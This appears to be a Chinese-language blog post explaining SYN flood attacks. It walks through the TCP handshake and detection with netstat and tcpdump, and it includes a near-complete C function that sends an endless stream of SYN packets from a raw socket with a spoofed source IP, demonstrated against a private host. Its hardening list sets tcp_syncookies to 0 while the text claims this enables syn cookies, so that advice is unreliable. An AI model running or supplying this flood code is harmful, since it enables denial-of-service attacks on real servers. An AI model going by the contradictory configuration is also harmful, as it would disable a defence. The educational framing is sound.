近期遇到几例服务器被SYN***的问题,今天详细分析一下SYN flood***的原理,首先简单回顾一下TCP/IP三次握手的过程。
1. Host A 发送一个TCPSYNchronize 包到 Host B
2. Host B 收到 Host A的SYN
3. Host B 发送一个SYNchronize-ACKnowledgement
4. Host A 接收到Host B的SYN-ACK
5. Host A 发送ACKnowledge
6. Host B 接收到ACK
7.TCP socket 连接建立ESTABLISHED.
SYN flood(SYN洪水***)
在三次握手过程中,Host B发送SYN-ACK之后,收到Host A的ACK之前的TCP连接称为半连接(half-open connect).此时Host B处于SYN_RECV状态.当收到ACK后,Host B转入ESTABLISHED状态.
SYN***就是***端Host A在短时间内伪造大量不存在的伪IP地址,向Host B不断地发送SYN包,Host B回复确认包,并等待Host A的确认,由于源地址是不存在的,Host B需要不断的重发包直 至超时,这些伪造的SYN包将长时间占用未连接队列,正常的SYN请求被丢弃,目标系统运行缓慢,严重者引起网络堵塞甚至系统瘫痪。
SYN flood***是一种典型的DDos***。检测SYN***非常的方便,当你在服务器上看到大量的半连接状态时,特别是源IP地址是随机的,基本上可以断定这是一次SYN***.
我们可以用C语言写个程序模拟SYN flood***,以下为程序片段void flood(unsigned int src_host, unsigned int dst_host, unsigned short port)
{
struct
{
struct iphdr ip;
struct tcphdr tcp;
} packet;
struct
{
unsigned int source_address;
unsigned int dest_address;
unsigned char placeholder;
unsigned char protocol;
unsigned short tcp_length;
struct tcphdr tcp;
} pseudo_header;
int sock, sinlen;
struct sockaddr_in sin;
packet.ip.ihl = 5;
packet.ip.version = 4;
packet.ip.tos = 0;
packet.ip.tot_len = htons(40);
packet.ip.id = getpid();
packet.ip.frag_off = 0;
packet.ip.ttl = 255;
packet.ip.protocol = IPPROTO_TCP;
packet.ip.check = 0;
packet.ip.saddr = src_host;
packet.ip.daddr = dst_host;
packet.tcp.source = getpid();
packet.tcp.dest = htons(port);
packet.tcp.seq = getpid();
packet.tcp.ack_seq = 0;
packet.tcp.res1 = 0;
packet.tcp.doff = 5;
packet.tcp.fin = 0;
packet.tcp.syn = 1;
packet.tcp.rst = 0;
packet.tcp.psh = 0;
packet.tcp.ack = 0;
packet.tcp.urg = 0;
packet.tcp.window = htons(512);
packet.tcp.check = 0;
packet.tcp.urg_ptr = 0;
sin.sin_family = AF_INET;
sin.sin_port = packet.tcp.source;
sin.sin_addr.s_addr = packet.ip.daddr;
if((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
{
exit(1);
}
for(;;)
{
packet.tcp.source++;
packet.ip.id++;
packet.tcp.seq++;
packet.tcp.check = 0;
packet.ip.check = 0;
packet.ip.check = in_cksum((unsigned short *)&packet.ip, 20);
pseudo_header.source_address = packet.ip.saddr;
pseudo_header.dest_address = packet.ip.daddr;
pseudo_header.placeholder = 0;
pseudo_header.protocol = IPPROTO_TCP;
pseudo_header.tcp_length = htons(20);
bcopy((char *)&packet.tcp, (char *)&pseudo_header.tcp, 20);
packet.tcp.check = in_cksum((unsigned short *)&pseudo_header, 32);
sinlen = sizeof(sin);
sendto(sock, &packet, 40, 0, (struct sockaddr *)&sin, sinlen);
}
close(sock);
在Host A上执行***程序,伪装源IP成8.8.8.8(google DNS),目标地址192.168.39.131的80端口
在Host B上netstat -an | grep SYN_RECV可以看到产生大量SYN_RECV状态的连接
此时Host B收到包后连接为SYN_RECV状态,根据TCP/IP协议应该发送SYN_ACK回复给Host A,在Host B上使用tcpdump -i eth0 'tcp [13] & 2 =2'抓取,发现存在大量SYN_ACK状态的连接,
可惜源ip为伪装的地址,所以会超时重传。此时如有正常请求Host B的80端口,它的SYN包就会被Host B丢弃,因为半连接队列已经满了(耗尽内存以及CPU资源),从而达到***目的。
Linux kernel也提供了Syncookies 等机制来防止syn***,以下是具体修改的内核参数。# default = 5
net.ipv4.tcp_syn_retries = 3
# default = 5
net.ipv4.tcp_synack_retries = 3
# default = 1024
net.ipv4.tcp_max_syn_backlog = 65536
# default = 124928
net.core.wmem_max = 8388608
# default = 131071
net.core.rmem_max = 8388608
# default = 128
net.core.somaxconn = 512
# default = 20480
net.core.optmem_max = 81920
# default = 1
net.ipv4.tcp_syncookies = 0
其中net.ipv4.tcp_synack_retries,net.ipv4.tcp_syncookies,net.ipv4.tcp_max_syn_backlog作用分别是减小SYN_ACK重传次数,启用syn cookie和增加半连接队列长度。
虽然系统能在当半连接队列满时,启用syn cookie功能,但也不是可以完全防御的。因为其一,Linux kernel的协议栈本身对此类DDos***的防御效有缺陷;其二,如果说***瞬间并发量足够大,毕竟Host B的CPU、内存资源是有限的,所以一般采用专业的硬件防火墙设备。